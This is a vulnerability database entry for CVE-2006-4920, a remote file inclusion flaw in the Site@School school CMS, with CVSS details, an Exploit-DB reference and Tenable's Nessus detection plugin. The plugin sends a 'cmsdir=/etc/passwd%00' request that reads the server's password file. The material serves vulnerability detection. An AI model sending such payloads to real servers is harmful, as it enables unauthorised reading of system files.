Vulnerabilities > CVE-2006-4920 - Input Validation vulnerability in Site@School

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
siteatschool
nessus
exploit available

Summary

Multiple PHP remote file inclusion vulnerabilities in Site@School (S@S) 2.4.02 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the cmsdir parameter to (1) starnet/modules/sn_allbum/slideshow.php, and (2) starnet/themes/editable/main.inc.php.

Vulnerable Configurations

Part Description Count
Application
Siteatschool
1

Exploit-Db

descriptionSite@School <= 2.4.02 Advisory / Remote File Upload Exploit. CVE-2006-4920,CVE-2006-4921,CVE-2006-4922. Webapps exploit for php platform
fileexploits/php/webapps/2374.pl
idEDB-ID:2374
last seen2016-01-31
modified2006-09-15
platformphp
port
published2006-09-15
reportersimo64
sourcehttps://www.exploit-db.com/download/2374/
titleSite@School <= 2.4.02 - Remote File Upload Exploit
typewebapps

Nessus

NASL familyCGI abuses
NASL idSITEATSCHOOL_CMSDIR_FILE_INCLUDES.NASL
descriptionThe remote host is running Site@School, an open source, PHP-based, content management system intended for primary schools. The version of Site@School installed on the remote host fails to sanitize input to the
last seen2020-06-01
modified2020-06-02
plugin id22368
published2006-09-16
reporterThis script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/22368
titleSite@School Multiple Script cmsdir Parameter Remote File Inclusion
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(22368);
  script_version("1.16");

  script_cve_id("CVE-2006-4920", "CVE-2006-4921");
  script_bugtraq_id(20053);
  script_xref(name:"EDB-ID", value:"2374");

  script_name(english:"Site@School Multiple Script cmsdir Parameter Remote File Inclusion");
  script_summary(english:"Tries to read a local file with Site@School");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is susceptible
to multiple remote file inclusion attacks." );
 script_set_attribute(attribute:"description", value:
"The remote host is running Site@School, an open source, PHP-based,
content management system intended for primary schools. 

The version of Site@School installed on the remote host fails to
sanitize input to the 'cmsdir' parameter before using it to include
PHP code in several scripts.  Provided PHP's 'register_globals'
setting is enabled, an unauthenticated attacker may be able to exploit
this issue to view arbitrary files on the remote host or to execute
arbitrary PHP code, possibly taken from third-party hosts." );
 script_set_attribute(attribute:"solution", value:
"Upgrade to Site@School version 2.4.03 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");


 script_set_attribute(attribute:"plugin_publication_date", value: "2006/09/16");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/09/15");
 script_cvs_date("Date: 2018/07/27 18:38:14");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value: "cpe:/a:siteatschool:siteatschool");
script_end_attributes();


  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/PHP");
  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);


# Loop through directories.
foreach dir (cgi_dirs())
{
  if (thorough_tests) 
    files = make_list(
      "/starnet/modules/sn_allbum/slideshow.php",
      "/starnet/modules/include/include.php",
      "/starnet/themes/editable/main.inc.php"
    );
  else files = make_list("/starnet/modules/sn_allbum/slideshow.php");

  foreach file (files)
  {
    # Try to exploit the flaw to read a file.
    local_file = "/etc/passwd";
    w = http_send_recv3(method:"GET",
      item:string(
        dir, file, "?",
        "cmsdir=", local_file, "%00"
      ),
      port:port
    );
    if (isnull(w)) exit(1, "The web server did not answer");
    res = w[2];

    # There's a problem if...
    if (
      # there's an entry for root or...
      egrep(pattern:"root:.*:0:[01]:", string:res) ||
      # we get an error saying "failed to open stream" or...
      string("main(", file, "\\0/languages/EN/sn_allbum/EN.php): failed to open stream") >< res ||
      string("main(", file, "\\0/languages/EN/include/EN.php): failed to open stream") >< res ||
      string("main(", file, "\\0/themes//): failed to open stream") >< res ||
      # we get an error claiming the file doesn't exist or...
      string("main(", file, "): failed to open stream: No such file") >< res ||
      # we get an error about open_basedir restriction.
      string("open_basedir restriction in effect. File(", file) >< res
    )
    {
      if (egrep(string:res, pattern:"root:.*:0:[01]:"))
        contents = res - strstr(res, "<br");

      if (contents && report_verbosity)
      {
        contents = data_protection::redact_etc_passwd(output:contents);
        report = string(
          "Here are the contents of the file '", local_file, "' that Nessus was\n",
          "able to read from the remote host :\n",
          "\n",
          contents
        );
      }
      else report = NULL;

      security_hole(port:port, extra:report);
      exit(0);
    }
  }
}